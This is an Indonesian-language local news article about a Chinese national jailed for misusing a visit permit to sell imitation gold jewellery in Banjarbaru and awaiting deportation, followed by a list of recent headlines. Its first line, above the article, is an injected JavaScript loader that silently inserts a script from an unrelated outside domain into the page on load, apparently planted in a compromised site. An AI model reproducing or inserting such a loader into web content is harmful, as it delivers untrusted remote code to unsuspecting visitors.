(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Terbukti Langgar Izin Tinggal, WNA Cina Dideportasi Lapas Banjarbaru


BANJARBARU, Seorang Warga Negara Asing (WNA) asal Republik Rakyat Tiongkok (RRC) akan dibebaskan Lapas Banjarbaru. WNA asal RRC itu atas nama Wen Xian You (43) kelahiran Kota Jiangxi. Ia menjadi narapidana penyalahgunaan izin kunjungan yang dijatuhi pidana penjara selama 3 bulan serta denda sebanyak Rp 25.000.000 dan subsider 1 bulan. Artinya karena ia tidak dapat membayar denda, maka hukumannya ditambah 1 bulan penjara.

Wen Xian You dipenjara karena kedapatan membuka lapak sebagai Pedagangan Kaki Lima (PKL) penjual perhiasan emas imitasi di Pasar Bauntung Banjarbaru pada akhir Oktober 2017 lalu, kemudian disidik PPNS Keimigrasian Kantor Imigrasi Banjarmasin.

Dodi Karnida, Kepala Divisi Kemigrasian Kemenkumham Kalsel mengatakan, Pengadilan Negeri Banjarbaru memutuskan hukuman itu pada hari Kamis (8/2) karena yang bersangkutan terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana.

“Dengan sengaja menyalahgunakan atau melakukan kegiatan yang tidak sesuai dengan maksud dan tujuan pemberian Izin Tinggal yang diberikan kepadanya sebagaimana dimaksud dalam ketentuan Pasal 122 huruf a UURI Nomor 6 Tahun 2011 tentang Keimigrasian,” katanya.

Ditambahkannya, yang bersangkutan datang ke Indonesia menggunakan visa untuk melakukan bisnis tetapi pada kenyataannya dia melakukan kegiatan menjual emas imitasi dan cukup meresahkan masyarakat karena dia tidak fasih berbahasa Indonesia. WNA Cina itu bertransaksi dengan pembeli hanya dengan cara menulis daftar harga dan demikian juga ketika bernegosiasi dengan calon pembeli. Sebagai barang bukti penangkapan antara lain adalah 20 gulung perhiasan emas imitasi, 72 plastik klip yang berisi perhiasan emas imitasi dan peta wilayah Indonesia berbahasa Cina.

Besok setelah dibebaskan dari Lapas Banjarbaru dan dijemput petugas Kanim Banjarmasin, ia akan ditempatkan di Ruang Detensi Imigrasi Kanim Banjarmasin sambil menunggu kesiapan kepulangannya ke negara asal. Dipulangkan jika sudah memiliki tiket yang harus disediakan oleh yang bersangkutan, keluarga atau temannya atau perwakilan negaranya di Indonesia.

Setelah itu ia akan dideportasi dengan pengawalan petugas Imigrasi dan namanya akan diusulkan untuk dimasukkan ke dalam Daftar Penangkalan (TANGKAL) yaitu daftar orang-orang yang tidak disukai untuk datang dan berada di Indonesia. Penangkalan ini berlaku selama 6 bulan dan dapat diperpanjang setiap 6 bulan sesuai dengan hasil analisa dari Direktorat Jenderal Imigrasi.(ammar)

Reporter:Ammar
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

36 menit ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

1 jam ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

2 jam ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

3 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

19 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

22 jam ago

This website uses cookies.